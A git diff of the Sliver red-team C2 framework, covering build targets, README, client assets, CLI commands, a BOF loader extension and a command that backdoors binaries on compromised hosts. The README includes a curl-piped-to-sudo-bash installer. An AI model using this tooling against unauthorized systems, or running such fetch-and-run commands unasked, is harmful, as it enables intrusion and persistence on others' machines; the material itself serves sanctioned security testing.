$(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-client ./client
|
||||
default: clean
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
$(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos
|
||||
macos: clean pb
|
||||
GOOS=darwin $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-client ./client
|
||||
macos: clean
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=darwin GOARCH=amd64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: macos-arm64
|
||||
macos-arm64: clean
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server_arm64 ./server
|
||||
GOOS=darwin GOARCH=arm64 $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client_arm64 ./client
|
||||
|
||||
.PHONY: linux
|
||||
linux: clean pb
|
||||
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-client ./client
|
||||
linux: clean
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server ./server
|
||||
GOOS=linux $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: windows
|
||||
windows: clean pb
|
||||
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-client.exe ./client
|
||||
|
||||
|
||||
#
|
||||
# Static Targets
|
||||
#
|
||||
.PHONY: static
|
||||
static: $(STATIC_TARGET)
|
||||
|
||||
.PHONY: static-macos
|
||||
static-macos: clean pb packr
|
||||
packr
|
||||
$(SED_INPLACE) '/$*.windows\/go\.zip/d' ./server/assets/a_assets-packr.go
|
||||
$(SED_INPLACE) '/$*.linux\/go\.zip/d' ./server/assets/a_assets-packr.go
|
||||
GOOS=darwin $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-server ./server
|
||||
# TODO: For some reason the server packr code gets built into the clients, even though it's not imported ...
|
||||
rm -f ./server/assets/*-packr.go
|
||||
GOOS=darwin $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-client ./client
|
||||
|
||||
.PHONY: static-windows
|
||||
static-windows: clean pb packr
|
||||
packr
|
||||
$(SED_INPLACE) '/$*.darwin\/go\.zip/d' ./server/assets/a_assets-packr.go
|
||||
$(SED_INPLACE) '/$*.linux\/go\.zip/d' ./server/assets/a_assets-packr.go
|
||||
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-server.exe ./server
|
||||
# TODO: For some reason the server packr code gets built into the clients, even though it's not imported ...
|
||||
rm -f ./server/assets/*-packr.go
|
||||
GOOS=windows $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o ./sliver-client.exe ./client
|
||||
|
||||
.PHONY: static-linux
|
||||
static-linux: clean pb packr
|
||||
$(SED_INPLACE) '/$*.darwin\/go\.zip/d' ./server/assets/a_assets-packr.go
|
||||
$(SED_INPLACE) '/$*.windows\/go\.zip/d' ./server/assets/a_assets-packr.go
|
||||
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-server ./server
|
||||
# TODO: For some reason the server packr code gets built into the clients, even though it's not imported ...
|
||||
rm -f ./server/assets/*-packr.go
|
||||
GOOS=linux $(ENV) $(GO) build -trimpath $(TAGS) $(LDFLAGS) -o sliver-client ./client
|
||||
windows: clean
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),server $(LDFLAGS) -o sliver-server.exe ./server
|
||||
GOOS=windows $(ENV) $(GO) build -mod=vendor -trimpath $(TAGS),client $(LDFLAGS) -o sliver-client.exe ./client
|
||||
|
||||
.PHONY: pb
|
||||
pb:
|
||||
protoc -I protobuf/ protobuf/commonpb/common.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/sliverpb/sliver.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/clientpb/client.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=plugins=grpc,paths=source_relative:protobuf/
|
||||
|
||||
.PHONY: packr
|
||||
packr:
|
||||
cd ./server/
|
||||
packr
|
||||
cd ..
|
||||
protoc -I protobuf/ protobuf/dnspb/dns.proto --go_out=paths=source_relative:protobuf/
|
||||
protoc -I protobuf/ protobuf/rpcpb/services.proto --go_out=paths=source_relative:protobuf/ --go-grpc_out=protobuf/ --go-grpc_opt=paths=source_relative
|
||||
|
||||
.PHONY: clean-all
|
||||
clean-all: clean
|
||||
rm -f ./assets/darwin/go.zip
|
||||
rm -f ./assets/windows/go.zip
|
||||
rm -f ./assets/linux/go.zip
|
||||
rm -f ./assets/*.zip
|
||||
rm -rf ./server/assets/fs/darwin/amd64
|
||||
rm -rf ./server/assets/fs/darwin/arm64
|
||||
rm -rf ./server/assets/fs/windows/amd64
|
||||
rm -rf ./server/assets/fs/linux/amd64
|
||||
rm -f ./server/assets/fs/*.zip
|
||||
|
||||
.PHONY: clean
|
||||
clean:
|
||||
packr clean
|
||||
rm -f ./protobuf/client/*.pb.go
|
||||
rm -f ./protobuf/sliver/*.pb.go
|
||||
rm -f sliver-client sliver-server *.exe
|
||||
|
||||
rm -f sliver-client_arm64 sliver-server_arm64
|
||||
rm -f sliver-client sliver-server sliver-*.exe
|
||||
@@ -1,37 +1,42 @@
|
||||
Sliver
|
||||
======
|
||||
|
||||
⚠️ __Warning:__ Sliver is currently in __beta__, you've been warned :) and please consider [contributing](/CONTRIBUTING.md)
|
||||
Sliver is an open source cross-platform adversary emulation/red team framework, it can be used by organizations of all sizes to perform security testing. Sliver's implants support C2 over Mutual TLS (mTLS), WireGuard, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
|
||||
Sliver is a general purpose cross-platform implant framework that supports C2 over Mutual-TLS, HTTP(S), and DNS. Implants are dynamically compiled with unique X.509 certificates signed by a per-instance certificate authority generated when you first run the binary.
|
||||
The server and client support MacOS, Windows, and Linux. Implants are supported on MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
The server, client, and implant all support MacOS, Windows, and Linux (and possibly every Golang compiler target but we've not tested them all).
|
||||
|
||||
 [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
 [](https://goreportcard.com/report/github.com/BishopFox/sliver) [](https://www.gnu.org/licenses/gpl-3.0)
|
||||
|
||||
### Features
|
||||
|
||||
* Dynamic code generation
|
||||
* Compile-time obfuscation
|
||||
* Multiplayer-mode
|
||||
* Staged and Stageless payloads
|
||||
* [Procedurally generated C2](https://github.com/BishopFox/sliver/wiki/HTTP(S)-C2#under-the-hood) over HTTP(S)
|
||||
* [DNS canary](https://github.com/BishopFox/sliver/wiki/DNS-C2#dns-canaries) blue team detection
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, HTTP(S), and DNS
|
||||
* [Fully scriptable](https://github.com/moloch--/sliver-script)
|
||||
* [Secure C2](https://github.com/BishopFox/sliver/wiki/Transport-Encryption) over mTLS, WireGuard, HTTP(S), and DNS
|
||||
* Fully scriptable using [JavaScript/TypeScript](https://github.com/moloch--/sliver-script) or [Python](https://github.com/moloch--/sliver-py)
|
||||
* Local and remote process injection
|
||||
* Windows process migration
|
||||
* Windows user token manipulation
|
||||
* Anti-anti-anti-forensics
|
||||
* Anti-fingerprinting features
|
||||
* Let's Encrypt integration
|
||||
* In-memory .NET assembly execution
|
||||
* COFF/BOF in-memory loader
|
||||
* Much more!
|
||||
|
||||
### Getting Started
|
||||
|
||||
Download the latest [release](https://github.com/BishopFox/sliver/releases) and see the Sliver [wiki](https://github.com/BishopFox/sliver/wiki/Getting-Started) for a quick tutorial on basic setup and usage. To get the very latest and greatest compile from source.
|
||||
|
||||
#### Linux One Liner
|
||||
|
||||
`curl https://sliver.sh/install|sudo bash` and then run `sliver`
|
||||
|
||||
### Help!
|
||||
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or join the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
Please checkout the [wiki](https://github.com/BishopFox/sliver/wiki), or start a [GitHub discussion](https://github.com/BishopFox/sliver/discussions). We also tend to hang out in the #golang Slack channel on the [Bloodhound Gang](https://bloodhoundgang.herokuapp.com/) server.
|
||||
|
||||
### Compile From Source
|
||||
|
||||
@@ -40,3 +45,4 @@ See the [wiki](https://github.com/BishopFox/sliver/wiki/Compile-From-Source).
|
||||
### License - GPLv3
|
||||
|
||||
Sliver is licensed under [GPLv3](https://www.gnu.org/licenses/gpl-3.0.en.html), some sub-components may have separate licenses. See their respective subdirectories in this project for details.
|
||||
|
||||
Binary file not shown.
+5
-3
@@ -3,14 +3,16 @@ Client
|
||||
|
||||
This directory contains the client implementation, pretty much all of this code is also used by the server console.
|
||||
|
||||
__Important:__ No code in this directory import any code from `server/`.
|
||||
__Important:__ No code in this directory can import any code from `server/`.
|
||||
|
||||
* `assets/` - Static asset files and management code (e.g. client configs)
|
||||
* `command/` - Command implementations
|
||||
* `cli/` - Command line interface implementation
|
||||
* `command/` - Console command implementations
|
||||
* `constants/` - Various shared constant values
|
||||
* `core/` - Client state management
|
||||
* `help/` - Console help
|
||||
* `licenses/` - Open source licenses
|
||||
* `spin/` - Console spinner library
|
||||
* `tcpproxy/` - Local TCP proxy listener code
|
||||
* `transport/` - Wires the client to the server
|
||||
* `version/` - Version information
|
||||
* `main.go` - Entrypoint
|
||||
@@ -0,0 +1,9 @@
|
||||
fs/*.zip
|
||||
fs/extensions/darwin/amd64/
|
||||
fs/extensions/darwin/arm64/
|
||||
fs/extensions/linux/amd64/
|
||||
fs/extensions/windows/amd64/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/darwin/386/
|
||||
fs/extensions/linux/386/
|
||||
fs/extensions/windows/386/
|
||||
@@ -19,15 +19,30 @@ package assets
|
||||
*/
|
||||
|
||||
import (
|
||||
"embed"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"log"
|
||||
"os"
|
||||
"os/user"
|
||||
"path"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
ver "github.com/bishopfox/sliver/client/version"
|
||||
)
|
||||
|
||||
var (
|
||||
//go:embed fs/extensions/*
|
||||
assetsFs embed.FS
|
||||
)
|
||||
|
||||
const (
|
||||
// SliverClientDirName - Directory storing all of the client configs/logs
|
||||
SliverClientDirName = ".sliver-client"
|
||||
// SliverExtensionsDirName - Directory storing the client side extensions
|
||||
SliverExtensionsDirName = "extensions"
|
||||
versionFileName = "version"
|
||||
)
|
||||
|
||||
// GetRootAppDir - Get the Sliver app dir ~/.sliver-client/
|
||||
@@ -42,3 +57,92 @@ func GetRootAppDir() string {
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
// GetExtensionsDir - Get the Sliver extension directory: ~/.sliver-client/extensions
|
||||
func GetExtensionsDir() string {
|
||||
user, _ := user.Current()
|
||||
dir := path.Join(user.HomeDir, SliverClientDirName, SliverExtensionsDirName)
|
||||
if _, err := os.Stat(dir); os.IsNotExist(err) {
|
||||
err = os.MkdirAll(dir, 0700)
|
||||
if err != nil {
|
||||
log.Fatal(err)
|
||||
}
|
||||
}
|
||||
return dir
|
||||
}
|
||||
|
||||
func assetVersion() string {
|
||||
appDir := GetRootAppDir()
|
||||
data, err := ioutil.ReadFile(path.Join(appDir, versionFileName))
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
return strings.TrimSpace(string(data))
|
||||
}
|
||||
|
||||
func saveAssetVersion(appDir string) {
|
||||
versionFilePath := path.Join(appDir, versionFileName)
|
||||
fVer, _ := os.Create(versionFilePath)
|
||||
defer fVer.Close()
|
||||
fVer.Write([]byte(ver.GitCommit))
|
||||
}
|
||||
|
||||
// Setup - Extract or create local assets
|
||||
func Setup(force bool, echo bool) {
|
||||
appDir := GetRootAppDir()
|
||||
localVer := assetVersion()
|
||||
if force || localVer == "" || localVer != ver.GitCommit {
|
||||
if echo {
|
||||
fmt.Printf("Unpacking assets ...\n")
|
||||
}
|
||||
err := setupCoffLoaderExt(appDir)
|
||||
if err != nil {
|
||||
fmt.Println(err)
|
||||
log.Fatal(err)
|
||||
}
|
||||
saveAssetVersion(appDir)
|
||||
}
|
||||
if _, err := os.Stat(filepath.Join(appDir, settingsFileName)); os.IsNotExist(err) {
|
||||
SaveSettings(nil)
|
||||
}
|
||||
}
|
||||
|
||||
func setupCoffLoaderExt(appDir string) error {
|
||||
extDir := GetExtensionsDir()
|
||||
win32ExtDir := path.Join("windows", "386")
|
||||
win64ExtDir := path.Join("windows", "amd64")
|
||||
coffLoader32 := path.Join("fs", SliverExtensionsDirName, win32ExtDir, "COFFLoader.x86.dll")
|
||||
coffLoader64 := path.Join("fs", SliverExtensionsDirName, win64ExtDir, "COFFLoader.x64.dll")
|
||||
manifestPath := path.Join("fs", SliverExtensionsDirName, "manifest.json")
|
||||
loader64, err := assetsFs.ReadFile(coffLoader64)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
loader32, err := assetsFs.ReadFile(coffLoader32)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
manifest, err := assetsFs.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin32ExtDir := path.Join(extDir, win32ExtDir)
|
||||
err = os.MkdirAll(localWin32ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
localWin64ExtDir := path.Join(extDir, win64ExtDir)
|
||||
err = os.MkdirAll(localWin64ExtDir, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(localWin32ExtDir, "COFFLoader.x86.dll"), loader32, 0744)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(path.Join(extDir, "manifest.json"), manifest, 0700)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
return ioutil.WriteFile(path.Join(localWin64ExtDir, "COFFLoader.x64.dll"), loader64, 0744)
|
||||
}
|
||||
@@ -40,6 +40,7 @@ type ClientConfig struct {
|
||||
Operator string `json:"operator"` // This value is actually ignored for the most part (cert CN is used instead)
|
||||
LHost string `json:"lhost"`
|
||||
LPort int `json:"lport"`
|
||||
Token string `json:"token"`
|
||||
CACertificate string `json:"ca_certificate"`
|
||||
PrivateKey string `json:"private_key"`
|
||||
Certificate string `json:"certificate"`
|
||||
|
||||
@@ -0,0 +1,16 @@
|
||||
[
|
||||
{
|
||||
"name": "coff-loader",
|
||||
"help": "Load and execute Beacon Object Files (BOFs) in memory.",
|
||||
"entrypoint": "LoadAndRun",
|
||||
"extFiles": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files": {
|
||||
"x64": "COFFLoader.x64.dll",
|
||||
"x86": "COFFLoader.x86.dll"
|
||||
}
|
||||
}
|
||||
]
|
||||
}
|
||||
]
|
||||
@@ -0,0 +1,73 @@
|
||||
package assets
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"io/ioutil"
|
||||
"path/filepath"
|
||||
)
|
||||
|
||||
const (
|
||||
settingsFileName = "tui-settings.json"
|
||||
)
|
||||
|
||||
// ClientSettings - Client JSON config
|
||||
type ClientSettings struct {
|
||||
TableStyle string `json:"tables"`
|
||||
AutoAdult bool `json:"autoadult"`
|
||||
BeaconAutoResults bool `json:"beacon_autoresults"`
|
||||
}
|
||||
|
||||
// LoadSettings - Load the client settings from disk
|
||||
func LoadSettings() (*ClientSettings, error) {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
data, err := ioutil.ReadFile(filepath.Join(rootDir, settingsFileName))
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
settings := defaultSettings()
|
||||
err = json.Unmarshal(data, settings)
|
||||
if err != nil {
|
||||
return defaultSettings(), err
|
||||
}
|
||||
return settings, nil
|
||||
}
|
||||
|
||||
func defaultSettings() *ClientSettings {
|
||||
return &ClientSettings{
|
||||
TableStyle: "SliverDefault",
|
||||
AutoAdult: false,
|
||||
BeaconAutoResults: true,
|
||||
}
|
||||
}
|
||||
|
||||
// SaveSettings - Save the current settings to disk
|
||||
func SaveSettings(settings *ClientSettings) error {
|
||||
rootDir, _ := filepath.Abs(GetRootAppDir())
|
||||
if settings == nil {
|
||||
settings = defaultSettings()
|
||||
}
|
||||
data, err := json.MarshalIndent(settings, "", " ")
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
err = ioutil.WriteFile(filepath.Join(rootDir, settingsFileName), data, 0600)
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
CLI
|
||||
===
|
||||
|
||||
This package implements the Sliver client cli.
|
||||
@@ -0,0 +1,109 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"log"
|
||||
"os"
|
||||
"path"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/client/transport"
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
const (
|
||||
logFileName = "sliver-client.log"
|
||||
)
|
||||
|
||||
var (
|
||||
sliverServerVersion = fmt.Sprintf("v%s", version.FullVersion())
|
||||
)
|
||||
|
||||
// Initialize logging
|
||||
func initLogging(appDir string) *os.File {
|
||||
log.SetFlags(log.LstdFlags | log.Lshortfile)
|
||||
logFile, err := os.OpenFile(path.Join(appDir, logFileName), os.O_RDWR|os.O_CREATE|os.O_APPEND, 0600)
|
||||
if err != nil {
|
||||
panic(fmt.Sprintf("[!] Error opening file: %s", err))
|
||||
}
|
||||
log.SetOutput(logFile)
|
||||
return logFile
|
||||
}
|
||||
|
||||
func init() {
|
||||
|
||||
// Import
|
||||
rootCmd.AddCommand(cmdImport)
|
||||
|
||||
// Version
|
||||
rootCmd.AddCommand(cmdVersion)
|
||||
}
|
||||
|
||||
var rootCmd = &cobra.Command{
|
||||
Use: "sliver-client",
|
||||
Short: "",
|
||||
Long: ``,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
appDir := assets.GetRootAppDir()
|
||||
logFile := initLogging(appDir)
|
||||
defer logFile.Close()
|
||||
|
||||
os.Args = os.Args[:1] // Stops grumble from complaining
|
||||
err := StartClientConsole()
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
}
|
||||
},
|
||||
}
|
||||
|
||||
// StartClientConsole - Start the client console
|
||||
func StartClientConsole() error {
|
||||
configs := assets.GetConfigs()
|
||||
if len(configs) == 0 {
|
||||
fmt.Printf("No config files found at %s (see --help)\n", assets.GetConfigDir())
|
||||
return nil
|
||||
}
|
||||
config := selectConfig()
|
||||
if config == nil {
|
||||
return nil
|
||||
}
|
||||
|
||||
fmt.Printf("Connecting to %s:%d ...\n", config.LHost, config.LPort)
|
||||
rpc, ln, err := transport.MTLSConnect(config)
|
||||
if err != nil {
|
||||
fmt.Printf("Connection to server failed %s", err)
|
||||
return nil
|
||||
}
|
||||
defer ln.Close()
|
||||
return console.Start(rpc, command.BindCommands, func(con *console.SliverConsoleClient) {}, false)
|
||||
}
|
||||
|
||||
// Execute - Execute root command
|
||||
func Execute() {
|
||||
if err := rootCmd.Execute(); err != nil {
|
||||
fmt.Println(err)
|
||||
os.Exit(1)
|
||||
}
|
||||
}
|
||||
@@ -1,4 +1,4 @@
|
||||
package console
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
@@ -0,0 +1,47 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"os"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var cmdImport = &cobra.Command{
|
||||
Use: "import",
|
||||
Short: "Import a client configuration file",
|
||||
Long: `import [config files]`,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
if 0 < len(args) {
|
||||
for _, arg := range args {
|
||||
conf, err := assets.ReadConfig(arg)
|
||||
if err != nil {
|
||||
fmt.Printf("[!] %s\n", err)
|
||||
os.Exit(3)
|
||||
}
|
||||
assets.SaveConfig(conf)
|
||||
}
|
||||
} else {
|
||||
fmt.Printf("Missing config file path, see --help")
|
||||
}
|
||||
},
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
package cli
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2020 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/version"
|
||||
"github.com/spf13/cobra"
|
||||
)
|
||||
|
||||
var cmdVersion = &cobra.Command{
|
||||
Use: "version",
|
||||
Short: "Print version and exit",
|
||||
Long: ``,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
fmt.Printf("%s\n", version.FullVersion())
|
||||
},
|
||||
}
|
||||
@@ -2,3 +2,13 @@ Command
|
||||
=======
|
||||
|
||||
This package contains all of the client command implementations that are shared between the client and the server console.
|
||||
|
||||
### Developers
|
||||
|
||||
General guidance on the structure of this package:
|
||||
* One command per file and the name of the file should reflect the command it implements (or there about, trivial commands can go into the same file). This makes it easy to find where a command implementation lives within a package or to search by file name if it is not clear which package implements a given command.
|
||||
* The root command, and reused code should go into the file named after the command
|
||||
* For example, code shared between the `generate` and the `regenerate` command should go in `generate.go`, and any `regenerate` specific code should go in `regenerate.go`
|
||||
* Command entrypoint functions should have the suffix `Cmd` e.g., `GenerateCmd` is the entrypoint for `generate`
|
||||
* Command entrypoints should always a function signature of `func (ctx *grumble.Context, con *console.SliverConsoleClient)`
|
||||
* Functions that are only ever exported for other commands to use should go in a `helpers.go`, if the function is used internally and exported follow the guidance above on shared code.
|
||||
@@ -0,0 +1,4 @@
|
||||
Backdoor
|
||||
========
|
||||
|
||||
Implements command related to `backdoor`
|
||||
@@ -0,0 +1,66 @@
|
||||
package backdoor
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// BackdoorCmd - Command to inject implant code into an existing binary
|
||||
func BackdoorCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
session := con.ActiveTarget.GetSessionInteractive()
|
||||
if session == nil {
|
||||
return
|
||||
}
|
||||
|
||||
remoteFilePath := ctx.Args.String("remote-file")
|
||||
if remoteFilePath == "" {
|
||||
con.PrintErrorf("Please provide a remote file path. See `help backdoor` for more info")
|
||||
return
|
||||
}
|
||||
|
||||
profileName := ctx.Flags.String("profile")
|
||||
|
||||
ctrl := make(chan bool)
|
||||
msg := fmt.Sprintf("Backdooring %s ...", remoteFilePath)
|
||||
con.SpinUntil(msg, ctrl)
|
||||
backdoor, err := con.Rpc.Backdoor(context.Background(), &sliverpb.BackdoorReq{
|
||||
FilePath: remoteFilePath,
|
||||
ProfileName: profileName,
|
||||
Request: con.ActiveTarget.Request(ctx),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if backdoor.Response != nil && backdoor.Response.Err != "" {
|
||||
con.PrintErrorf("%s\n", backdoor.Response.Err)
|
||||
return
|
||||
}
|
||||
|
||||
con.PrintInfof("Uploaded backdoor'd binary to %s\n", remoteFilePath)
|
||||
}
|
||||
@@ -0,0 +1,4 @@
|
||||
Beacons
|
||||
========
|
||||
|
||||
This package implements the beacons command, which can be used to list and interact with beacons.
|
||||
@@ -0,0 +1,169 @@
|
||||
package beacons
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/kill"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/commonpb"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"golang.org/x/crypto/ssh/terminal"
|
||||
)
|
||||
|
||||
// BeaconsCmd - Display/interact with beacons
|
||||
func BeaconsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
killFlag := ctx.Flags.String("kill")
|
||||
killAll := ctx.Flags.Bool("kill-all")
|
||||
|
||||
// Handle kill
|
||||
if killFlag != "" {
|
||||
beacon, err := GetBeacon(con, killFlag)
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
